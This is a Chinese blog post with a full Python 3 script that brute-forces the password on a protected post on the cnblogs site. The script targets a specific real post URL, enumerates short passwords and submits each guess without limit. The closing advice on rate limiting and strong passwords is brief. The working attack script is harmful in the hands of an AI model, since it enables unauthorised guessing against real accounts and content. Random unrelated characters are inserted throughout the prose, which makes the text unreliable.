一個(gè)最簡(jiǎn)單的博客園文章密碼暴力破解器-python3實(shí)現(xiàn)
我之前想寫(xiě)路由器的密碼暴力破解器,我手上只有極路由,發(fā)現(xiàn)極路由有安全限制,只能允許連續(xù)10密碼錯(cuò)誤憾筏,所以我改拿博客園練手。
博客園的博客有個(gè)功能是給博文設(shè)置一個(gè)密碼花鹅,輸入正確的密碼才能看到文章的內(nèi)容氧腰。經(jīng)過(guò)測(cè)試發(fā)現(xiàn)這個(gè)密碼驗(yàn)證功能,既沒(méi)有驗(yàn)證碼也沒(méi)有提交頻率的限制翠胰,
要寫(xiě)這個(gè)針對(duì)博客園的密碼暴力破解器模型會(huì)非常簡(jiǎn)單容贝,很好實(shí)現(xiàn)。
比如打開(kāi)這個(gè)博文之景,會(huì)顯示一個(gè)密碼輸入框:http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html
我之前沒(méi)有寫(xiě)過(guò)這樣的程序斤富,也沒(méi)有看過(guò)別人寫(xiě)這類(lèi)功能的代碼,就按我自己所理解的想法來(lái)寫(xiě)一個(gè)最簡(jiǎn)單的密碼破解器锻狗,不要多線(xiàn)程满力,不要分布式,
這個(gè)程序會(huì)有這么兩個(gè)部分:
1轻纪、我需要一個(gè)生成器油额,可以不停的生成所有可能的密碼組合,比如生成a,b,c,aa,bb,cc,ab,ac...abc,cba...abcd...等等所有的密碼組合刻帚。
2潦嘶、我需要不停的提交密碼,直到認(rèn)為密碼正確崇众,記錄密碼掂僵,退出程序。
-_-!為什么使用生成器顷歌?
python2中range() 不是一個(gè)生成器锰蓬,當(dāng)你range(N),N為一個(gè)很大的數(shù)時(shí)...python就會(huì)爆炸C袖觥G叟ぁ麻顶!哈哈哈..
寫(xiě)細(xì)致的博客太消耗時(shí)間和心力,我這里不寫(xiě)具體的分析過(guò)程了舱卡,后面直接上代碼辅肾,如果看不懂,查相關(guān)關(guān)鍵詞就可以轮锥,畢竟基礎(chǔ)教程性的文章和內(nèi)容非常之多宛瞄。
tqdm是一個(gè)python進(jìn)度條庫(kù),requests是一個(gè)簡(jiǎn)單優(yōu)雅的http庫(kù),
product是python3的標(biāo)準(zhǔn)庫(kù)itertools下的函數(shù)交胚,可以用生成 (a,b,c...) (c,b,a...)這樣的序列,用''.join連接起來(lái)就得到了"abc"這樣的一個(gè)密碼。
代碼如下:
"""
python3暴力窮舉密碼
2016年6月09日 04:39:25 codegay
"""
from time import strftime
from itertools import product
from time import sleep
from tqdm import tqdm
import requests
from requests import post
#密碼生成器
def psgen(x=4):
iter = ['1234567890',
'abcdefghijklmnopqrstuvwxyz',
'ABCDEFGHIJKLMNOPQRSTUVWXYZ',
]
for r in iter:
for repeat in range(1,x+1):
for ps in product(r,repeat=repeat):
yield ''.join(ps)
def fx(url):
#把URL中的readauth字符刪掉盈电,替換成"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"這樣的格式蝴簇,因?yàn)檫@個(gè)才POST的目標(biāo)地址。
url = url.replace("/post/readauth?url=", "")
for ps in tqdm(psgen(6)):
try:
rs=post(url,data={'tb_password':ps},allow_redirects=1)
if rs.url == url: #如果提交密碼后匆帚,返回的url得到為"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"這樣的形式熬词,那么認(rèn)為猜到正確的密碼了。
with open("resut.csv","a+") as f:
f.write('密碼破解成功結(jié)果為:,'+ ps + ',' + strftime("%c") + ',' + url+'\n')
break
except:
sleep(1)
pass
url='http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html'
fx(url)
最后吸重,這個(gè)程序運(yùn)行速度大約是每秒提交6次密碼互拾,我運(yùn)行了30個(gè)小時(shí),也不過(guò)是迭代幾十萬(wàn)次嚎幸,并沒(méi)有能把密碼破解出來(lái)颜矿,沒(méi)有產(chǎn)生實(shí)質(zhì)性的危害。
總結(jié):
1嫉晶、密碼驗(yàn)證的地方適當(dāng)增加一些防止暴力破解的手段骑疆。
2、仍然有必要使用復(fù)雜的密碼提高安全度替废。雖然這樣的一個(gè)簡(jiǎn)單的程序并沒(méi)有什么卵用